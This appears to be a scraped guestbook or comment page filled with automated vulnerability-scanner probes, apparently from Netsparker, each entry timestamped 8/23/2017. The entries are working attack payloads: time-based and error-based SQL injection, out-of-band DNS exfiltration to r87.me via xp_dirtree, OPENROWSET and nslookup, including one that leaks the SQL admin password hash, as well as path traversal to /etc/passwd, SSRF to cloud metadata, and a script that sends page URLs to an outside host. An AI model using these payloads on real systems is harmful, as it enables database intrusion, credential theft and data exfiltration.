1;SELECT pg_sleep(25)--

+

+ 8/23/2017 8:08:38 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:38 AM +

+

+ +

+
+

+createobject("WScript.Shell").exec("nslookup o010_rdnxuk1vfgf_nxm1mrxeiqxvvlf3himsg8s" & "jba.r87.me").StdOut.ReadAll

+

+ 8/23/2017 8:08:38 AM +

+

+ +

+
+

+createobject("WScript.Shell").exec("nslookup o010_rdnxu_9gkrgwih7dhflofu_eqqvydzpjavl" & "cpq.r87.me").StdOut.ReadAll

+

+ 8/23/2017 8:08:37 AM +

+

+ +

+
+

1';SELECT pg_sleep(25)--

+

+ 8/23/2017 8:08:37 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:37 AM +

+

+ /../../../../../../../../../../../etc/passwd +

+
+

1 + (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) + 1

+

+ 8/23/2017 8:08:37 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:37 AM +

+

+ SELECT dblink_connect('host=o010_rdnxuwc_kfykszf75db_ax6zbbyyoxdg8k_'||'qzk.r87.me user=a password=a connect_timeout=2') +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:37 AM +

+

+ ....//....//....//....//....//....//....//....//....//....//....//etc/passwd +

+
+

1' || (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) || '

+

+ 8/23/2017 8:08:36 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:36 AM +

+

+ (select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL) +

+
+

(select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual)

+

+ 8/23/2017 8:08:36 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:36 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:36 AM +

+

+ /../../../../../../../../../../../etc/passwdďż˝.aspx +

+
+

((select sleep(25)))a-- 1

+

+ 8/23/2017 8:08:36 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:35 AM +

+

+ -1';DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxu8b6_xkwdsrwt4gwl_lkdsxuuc1f9k4'+'czi.r87.me')exec sp_executesql @r-- +

+
+

-1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25)))-- 1

+

+ 8/23/2017 8:08:35 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:35 AM +

+

+ http://127.0.0.1:3306 +

+
+

1 + ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR"*/

+

+ 8/23/2017 8:08:35 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:35 AM +

+

+ 1;DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxup6v2xrho-agsnpydygm_pkesjulnnp'+'wma.r87.me')exec sp_executesql @r-- +

+
+

syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--

+

+ 8/23/2017 8:08:34 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:34 AM +

+

+ http://127.100.11.2:22 +

+
+

1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--

+

+ 8/23/2017 8:08:34 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:34 AM +

+

+ DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxupbv1t36dv7tzzeox9rl8zugpbd_mhj'+'wko.r87.me')exec sp_executesql @r +

+
+

1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--

+

+ 8/23/2017 8:08:34 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:33 AM +

+

+ syscolumns WHERE 2>3;exec('xp_dirtree ''\\o010_rdnxugi6fcmdl7tqijcg_dhzstdxi0av1ls'+'i54.r87.me'+'\c$\a''')-- +

+
+

Smith

+

+ 8/23/2017 8:08:33 AM +

+

+ '||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||' +

+
+

1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--

+

+ 8/23/2017 8:08:33 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:33 AM +

+

+ 1'))exec('xp_dirtree ''\\o010_rdnxutwemwyt9d1nwv6740sq_xpfpkgi9qq'+'jui.r87.me'+'\c$\a''')-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:32 AM +

+

+ 1))exec('xp_dirtree ''\\o010_rdnxuvyahvsvdwvwnhpev-1y_jzea_erche'+'iua.r87.me'+'\c$\a''')-- +

+
+

1)) WAITFOR DELAY '0:0:25'--

+

+ 8/23/2017 8:08:32 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:32 AM +

+

+ 1')exec('xp_dirtree ''\\o010_rdnxunqbmffb-v8f3qumhlvjx32pp5yrf1j'+'s0u.r87.me'+'\c$\a''')-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:31 AM +

+

+ 1) exec('xp_dirtree ''\\o010_rdnxuiryit2trwhl00odqhbsyhzffkd3jbb'+'sbi.r87.me'+'\c$\a''')-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:31 AM +

+

+ -1';exec('xp_dirtree ''\\o010_rdnxugw6rfhxz5aklh2une_slh02ob6by0q'+'kok.r87.me'+'\c$\a''')-- +

+
+

')) WAITFOR DELAY '0:0:25'--

+

+ 8/23/2017 8:08:31 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:30 AM +

+

+ 1;exec('xp_dirtree ''\\o010_rdnxu9adc8rk7jnup44n1jz6tpljawvlts2'+'uee.r87.me'+'\c$\a''')-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:30 AM +

+

+ declare @h varchar(999)select @h='1'+substring(name+'-'+master.sys.fn_varbintohexstr(password_hash),0,63)+'.o010_rdnxukhfwqkeuv058gewixgfypu745a1f_z'+'cxg.r87.me' from sys.sql_logins WHERE principal_id=1;exec('xp_dirtree ''\\'+@h+'\c$''') +

+
+

Smith

+

+ 8/23/2017 8:08:29 AM +

+

+ cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric) +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:29 AM +

+

+ exec('xp_dirtree ''\\o010_rdnxu533uyql6ntyanq9todluufh1ih9cb9'+'_n4.r87.me'+'\c$\a''') +

+
+

') WAITFOR DELAY '0:0:25'--

+

+ 8/23/2017 8:08:29 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:29 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:29 AM +

+

+ http://169.254.169.254/latest/meta-data/public-hostname +

+
+

createobject("WScript.Shell").exec("nslookup o010_rdnxuywsew0o5sjgi6iwpqxtdyqacxk0uvs" & "j3o.r87.me").StdOut.ReadAll

+

+ 8/23/2017 8:08:28 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:28 AM +

+

+ (SELECT CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97))) +

+
+

createobject("WScript.Shell").exec("nslookup o010_rdnxucn-4s_krnq45mumreo6wjmjklrp5no" & "o20.r87.me").StdOut.ReadAll

+

+ 8/23/2017 8:08:28 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:28 AM +

+

+ /../../../../../../../../../../../etc/passwdďż˝ +

+
+

'{${gethostbyname(trim('o010_rdnxudsglo9yfepaqhhpgycqeqivxc0wuki'.'2n8.r87.me'))}}'

+

+ 8/23/2017 8:08:28 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:28 AM +

+

+ http://aws.r87.me/latest/meta-data/public-hostname +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:28 AM +

+

+ file:///etc/passwd +

+
+

Smith

+

+ 8/23/2017 8:08:28 AM +

+

+ -1" and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+" +

+
+

'{${gethostbyname(trim('o010_rdnxublor8upun3x2iw3evqvbn_qgddb61-'.'_ku.r87.me'))}}'

+

+ 8/23/2017 8:08:27 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:27 AM +

+

+ +

+
+

1) WAITFOR DELAY '0:0:25'--

+

+ 8/23/2017 8:08:27 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:27 AM +

+

+ /../../../../../../../../../../../etc/passwd +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:27 AM +

+

+ +

+
+

+

+ 8/23/2017 8:08:27 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:27 AM +

+

+ -1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:26 AM +

+

+ /../../../../../../../../../../proc/versionďż˝.aspx +

+
+

WAITFOR DELAY '0:0:25'--

+

+ 8/23/2017 8:08:26 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:26 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:26 AM +

+

+ -1 or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a) +

+
+

+

+ 8/23/2017 8:08:26 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:26 AM +

+

+ 127.0.0.1/elmah +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:25 AM +

+

+ /../../../../../../../../../../proc/version +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:25 AM +

+

+ ::1/elmah +

+
+

Smith

+

+ 8/23/2017 8:08:25 AM +

+

+ 'AND 1=cast(0x5f21403264696c656d6d61 as varchar(8000)) or '1'=' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:25 AM +

+

+ '+netsparker(0x003E56)+' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:25 AM +

+

+ /../../../../../../../../../../var/log/apache/error.log +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:24 AM +

+

+ netsparker(0x003E54); +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:24 AM +

+

+ /../../../../../../../../../../var/log/apache2/error.log +

+
+

1 WAITFOR DELAY '0:0:25'--

+

+ 8/23/2017 8:08:24 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:24 AM +

+

+ convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000))) +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:24 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:24 AM +

+

+ netsparker(0x003E52) +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:24 AM +

+

+ /../../../../../../../../../../etc/httpd/logs/error_log +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:24 AM +

+

+ 127.100.11.2/elmah +

+
+

Smith

+

+ 8/23/2017 8:08:23 AM +

+

+ '+ (select convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns) +' +

+
+

"+gethostbyname(trim('o010_rdnxuzq7qo7pydxgmnhzse_kgjmgziils9m'.'jwe.r87.me'))+"

+

+ 8/23/2017 8:08:23 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:23 AM +

+

+ +

+
+

' WAITFOR DELAY '0:0:25'--

+

+ 8/23/2017 8:08:23 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:23 AM +

+

+ 54.204.37.212/elmah +

+
+

Smith

+

+ 8/23/2017 8:08:23 AM +

+

+ (select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns) +

+
+

"+gethostbyname(trim('o010_rdnxufondmf8mxmraqqbef599semzo1qzka'.'hew.r87.me'))+"

+

+ 8/23/2017 8:08:22 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:22 AM +

+

+ testsparker.com/elmah +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:22 AM +

+

+ /../../../../../../../../../../etc/httpd/logs/error.log +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:22 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:22 AM +

+

+ %27 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:22 AM +

+

+ http://testsparker.com/elmah +

+
+

'+gethostbyname(trim('o010_rdnxujk-xulmgbzrj_8wlm6jihs9v8v3gmv'.'isu.r87.me'))+'

+

+ 8/23/2017 8:08:21 AM +

+

+ +

+
+

';l=document.createElement("link");l.rel="prefetch";l.href="//o010_rdnxuauehqbdj08dzofhtepdxmdqqsesxlz"+"itg.r87.me/r/?"+location.href;document.head.appendChild(l);//

+

+ 8/23/2017 8:08:21 AM +

+

+ +

+
+

';l=document.createElement("link");l.rel="prefetch";l.href="//o010_rdnxufmfledms0tqb-1uyw_vpf6mzacya_v"+"nwu.r87.me/r/?"+location.href;document.head.appendChild(l);//

+

+ 8/23/2017 8:08:21 AM +

+

+ +

+
+

'+gethostbyname(trim('o010_rdnxubc6b3rfauci7bvah5bijza6nghslqx'.'vu8.r87.me'))+'

+

+ 8/23/2017 8:08:21 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:21 AM +

+

+ 127.0.0.1/elmah.axd +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:21 AM +

+

+ /../../../../../../../../../../proc/self/fd/2ďż˝.aspx +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:20 AM +

+

+ ',netsparker(0x003E50),' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:20 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:20 AM +

+

+ ' OR 1=1 OR '1'='1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:20 AM +

+

+ /../../../../../../../../../../proc/self/fd/2 +

+
+

Smith

+

+ 8/23/2017 8:08:20 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:20 AM +

+

+ ' OR 1=1 OR '1'='1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:20 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:19 AM +

+

+ OR X='ss +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:19 AM +

+

+ /../../../../../../../../../../windows/iis6.log +

+
+

Smith

+

+ 8/23/2017 8:08:19 AM +

+

+ 1 OR 17-7=10 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:19 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:19 AM +

+

+ ' OR 1=1 OR 'ns'='ns +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:18 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:18 AM +

+

+ AND 'NS='ss +

+
+

+gethostbyname(trim('o010_rdnxuwhgl88bi8g4kouzjeccvmq-c0vskuw'.'kzu.r87.me'));//

+

+ 8/23/2017 8:08:18 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:18 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:18 AM +

+

+ NS +NO +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:18 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:17 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:17 AM +

+

+ +

+
+

+gethostbyname(trim('o010_rdnxuq74jc83y023k8avv9_bl50c1ox1rkp'.'bq0.r87.me'));//

+

+ 8/23/2017 8:08:16 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:16 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:16 AM +

+

+ ' +

+
+

gethostbyname(trim('o010_rdnxuhsrkq3ylfvsy-ievxuw1rbhe6y0sjd'.'atu.r87.me'));

+

+ 8/23/2017 8:08:16 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:16 AM +

+

+ ::1/elmah.axd +

+
+

gethostbyname(trim('o010_rdnxuhny73xk8qwgshpfn2klqe8-mfu5cih'.'1kw.r87.me'));

+

+ 8/23/2017 8:08:16 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:16 AM +

+

+ 1 OR 1=1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:16 AM +

+

+ 127.100.11.2/elmah.axd +

+
+

gethostbyname(trim('o010_rdnxutmd8812f0gy5djglocblsppudzq9yx'.'pc4.r87.me'))

+

+ 8/23/2017 8:08:15 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:15 AM +

+

+ ....//....//....//....//....//....//....//....//....//....//....//windows\win.ini +

+
+

Smith

+

+ 8/23/2017 8:08:15 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:15 AM +

+

+ \';netsparker(0x003E4E);/// +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:15 AM +

+

+ c:\windows\win.ini +

+
+

";l=document.createElement("link");l.rel="prefetch";l.href="//o010_rdnxunuigphpvvkn4amt0hw11kzg3aicg9t"+"lty.r87.me/r/?"+location.href;document.head.appendChild(l);//

+

+ 8/23/2017 8:08:15 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:14 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:14 AM +

+

+ "+netsparker(0x003E4C)+" +

+
+

gethostbyname(trim('o010_rdnxurnl-hzwr_abbig3zxzlxbszllhgf7j'.'xqk.r87.me'))

+

+ 8/23/2017 8:08:14 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:14 AM +

+

+ /../../../../../../../../../../windows/win.iniďż˝.aspx +

+
+

";l=document.createElement("link");l.rel="prefetch";l.href="//o010_rdnxucoe5clqmxxmeebhuyv-ug5nzsrd-hh"+"dhq.r87.me/r/?"+location.href;document.head.appendChild(l);//

+

+ 8/23/2017 8:08:14 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:14 AM +

+

+ file:/windows/win.ini +

+
+

Smith

+

+ 8/23/2017 8:08:13 AM +

+

+ 1 OR 1=1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:13 AM +

+

+ '+netsparker(0x003E4A)+' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:13 AM +

+

+ 54.204.37.212/elmah.axd +

+
+

Smith

+

+ 8/23/2017 8:08:13 AM +

+

+ ' OR 1=1 OR '1'='1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:13 AM +

+

+ /../../../../../../../../../../windows/win.ini +

+
+

Smith

+

+ 8/23/2017 8:08:13 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:13 AM +

+

+ ' OR 1=1 OR '1'='1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:13 AM +

+

+ o010_rdnxurtuqnedkm7atmvcpmyua8haywhucwdoyx.r87.me/p/ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:12 AM +

+

+ testsparker.com/elmah.axd +

+
+

+

+ 8/23/2017 8:08:12 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:12 AM +

+

+ /../../../../../../../../../../web.config +

+
+

Smith

+

+ 8/23/2017 8:08:12 AM +

+

+ OR X='ss +

+
+

Smith

+

+ 8/23/2017 8:08:12 AM +

+

+ 1 OR 17-7=10 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:12 AM +

+

+ */netsparker(0x003E48);/* +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:12 AM +

+

+ http://testsparker.com/elmah.axd +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:12 AM +

+

+ c%3a%5cboot.ini +

+
+

Smith

+

+ 8/23/2017 8:08:11 AM +

+

+ ' OR 1=1 OR 'ns'='ns +

+
+

Smith

+

+ 8/23/2017 8:08:11 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:11 AM +

+

+ AND 'NS='ss +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:11 AM +

+

+ file%3a%2fboot.ini +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:11 AM +

+

+ body{x:expression(netsparker(0x003E46))} +

+
+

Smith

+

+ 8/23/2017 8:08:11 AM +

+

+ NS +NO +

+
+

+

+ 8/23/2017 8:08:11 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:10 AM +

+

+ ' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:10 AM +

+

+ n;ns:expression(netsparker(0x003E44)); +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:10 AM +

+

+ php://filter//resource=http://o010_rdnxu9kdfepoeiwpxwju9dydxwr8og6j5kehfb.r87.me/p/ +

+
+

Smith

+

+ 8/23/2017 8:08:10 AM +

+

+ 1 OR 1=1 +

+
+

Smith

+

+ 8/23/2017 8:08:10 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:10 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:09 AM +

+

+ http://o010_rdnxu8r3qe8x1xwizm6w-a2it_y4nacd-oftvx.r87.me/p/ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:09 AM +

+

+ 127.0.0.1/trace.axd +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:09 AM +

+

+ %2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini +

+
+

Smith

+

+ 8/23/2017 8:08:09 AM +

+

+ 1 OR 1=1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:09 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:09 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:08 AM +

+

+ <%a style=x:expre/**/ssion(netsparker(0x003E42))> +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:08 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:08 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:08 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:08 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:08 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:07 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:07 AM +

+

+ +

+
+

o010_rdnxua8t29ijj5lcsqcl7xpweyk2i6ljvp96in.r87.me/p/

+

+ 8/23/2017 8:08:07 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:07 AM +

+

+ ::1/trace.axd +

+
+

o010_rdnxu6tcixy-avunkhsze-67jxpjgkl4jksqxh.r87.me/p/

+

+ 8/23/2017 8:08:07 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:07 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:06 AM +

+

+ ns../../../../../../../../../../../boot.ini....................................................................................................................................................................................... +

+
+

Smith

+

+ 8/23/2017 8:08:06 AM +

+

+ +

+
+

php://filter//resource=http://o010_rdnxuu2ie2xhes7eeg9zgowwk3o0idqxj6kon9.r87.me/p/

+

+ 8/23/2017 8:08:06 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:06 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:06 AM +

+

+ javascript:netsparker(0x003E3E) +

+
+

php://filter//resource=http://o010_rdnxufbfzmvyntutgafdsxhw5gr1uxox5yeqjz.r87.me/p/

+

+ 8/23/2017 8:08:06 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:06 AM +

+

+ c:\boot.ini +

+
+

http://o010_rdnxum5-4l2p9tvdmecwn6htpm4dqeunruu3az.r87.me/p/

+

+ 8/23/2017 8:08:06 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:06 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:06 AM +

+

+ +

+
+

+

+ 8/23/2017 8:08:05 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:05 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:05 AM +

+

+ +

+
+

http://o010_rdnxu_3dmwrd8xvoyshzzkya2kvt_ls1wahl3f.r87.me/p/

+

+ 8/23/2017 8:08:05 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:05 AM +

+

+ file:/boot.ini +

+
+

Smith

+

+ 8/23/2017 8:08:05 AM +

+

+ +

+
+

+

+ 8/23/2017 8:08:05 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:04 AM +

+

+ /../../../../../../../../../../boot.ini +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:04 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:04 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:04 AM +

+

+ %dtd;]>&a; +

+
+

Smith

+

+ 8/23/2017 8:08:04 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:04 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:03 AM +

+

+ %dtd;]>&a; +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:03 AM +

+

+ 127.100.11.2/trace.axd +

+
+

Smith

+

+ 8/23/2017 8:08:03 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:03 AM +

+

+ %dtd;]>&a; +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:03 AM +

+

+ /../../../../../../../../../../boot.iniďż˝.aspx +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:03 AM +

+

+ 54.204.37.212/trace.axd +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:03 AM +

+

+ +

+
+

+

+ 8/23/2017 8:08:02 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:02 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:02 AM +

+

+ testsparker.com/trace.axd +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:02 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:02 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:01 AM +

+

+ http://testsparker.com/trace.axd +

+
+

'"-->

+

+ 8/23/2017 8:08:01 AM +

+

+ +

+
+

'"-->

+

+ 8/23/2017 8:08:01 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:01 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:01 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:01 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:00 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:00 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:00 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:00 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:00 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:00 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:59 AM +

+

+ "> +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:59 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:59 AM +

+

+ https://testsparker.com.r87.com/? +

+
+

Smith

+

+ 8/23/2017 8:07:59 AM +

+

